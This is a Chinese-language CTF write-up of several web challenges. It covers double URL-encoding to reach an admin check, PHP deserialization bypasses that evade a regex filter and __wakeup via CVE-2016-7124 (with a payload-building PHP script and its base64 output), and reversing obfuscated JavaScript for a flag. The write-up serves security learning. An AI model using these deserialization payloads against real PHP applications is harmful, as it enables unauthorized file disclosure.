003PHP2
御剑扫描,得到存在index.phps.
通过index.phps查看源码得知:
代码审计得知,我们需要将传递的id,经过浏览器自动url解码,与urldecode()函数两次解码后等于admin,才可得到flag。使用burp_suite decoder模块
得知%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65两次url解码后为admin。将其传入id,得到flag。
004 Web_php_unserialize
首先看到源码,出现敏感函数wakeup,考虑绕过反序列化.
分析:$this->file != 'index.php//如果界面不为index.php
$this->file = ‘index.php’; //界面就强制改为index.php
我们要看到fl4g.php里面的内容,就需要 绕过preg_match, __wakeup().
分析代码:
if (isset($_GET['var'])) { //判断var变量是否存在并且非NULL
$var = base64_decode($_GET['var']); //bse64解密var
if (preg_match('/[oc]:\d+:/i', $var)) { //正则匹配$var
die('stop hacking!'); //停止脚本并输出stop hacking!
} else {
@unserialize($var); //反序列化$var
}
} else {
highlight_file("index.php"); //对index.php进行语法高亮显示
}
oc: 正则表达式
\d 匹配一个数字字符,等价于[0~9];
+ 匹配前面的子表达式一次或多次.
/i 表示匹配时不区分大小写。所以这个正则表达式是匹配有无数字。
实例化构造然后payload
<?php
class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } $A = new Demo('fl4g.php'); $b = serialize($A); //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}" $b = str_replace('O:4', 'O:+4',$b);//绕过preg_match $b = str_replace(':1:', ':2:',$b);//绕过wakeup //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}" echo (base64_encode($b)); //TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== ?>
用+4替换成4是为了绕过preg_match的正则表达式
同样的把1替换成2是利用了CVE-2016-7124的漏洞,即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
CVE-2016-7124:__wakeup失效,当属性个数不正确时,PHP不会调用__wakeup(),所以修改属性个数1为2.
最后按照题目的意思encode一下base64就获取反序列化的结果,get传参即可(在php环境下)
012 unserialize3
wakeup()看出这道题与上一题一样,是序列化的题。
首先对xctf这个类进行序列化,然后绕过这个_wakeup()函数。
利用CVE漏洞,更改属性个数1为2,跳过 _wakeup()执行。得到flag。
对xctf这个类序列化。 O:4:"xctf":2:{s:4:"flag";s:3:"111";}
其中,O表示这是一个对象,4表示对象名的长度,xctf则是序列化的对象的名称,2表示对象中存在的三个属性。属性s表示字符串,i表示整数型。4是属性名的长度,后面说明属性名为flag,之后第二个属性s是字符串,3是属性名长度,后面说明属性名为111.
011 NaNNaNNaNNaN-Batman
首先下载文件后,记事本打开得知是一个script乱码,我们把后缀改成.html打开的话,发现只有一个输入框,没有其他的。把txt里面最后的eval换成alert打开,得到一段js代码,然后开始审计.
function $(){
var e=document.getElementById("c").value;
if(e.length==16) //应该构造长度为16
if(e.match(/^be0f23/)!=null) //开头匹配到beof23
if(e.match(/233ac/)!=null) //e中含有233ac
if(e.match(/e98aa$/)!=null) //结尾匹配到e98aa
if(e.match(/c7be9/)!=null){ //e中含有c7be9
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);
s[o%4].splice(0,1)}
}
}
document.write('<input id="c"><button onclick=$()>Ok</button>');
delete _
代码可匹配出,e=be0f233ac7be98aa.
把alert改回eval,在输入框输入be0f233ac7be98aa,得到flag。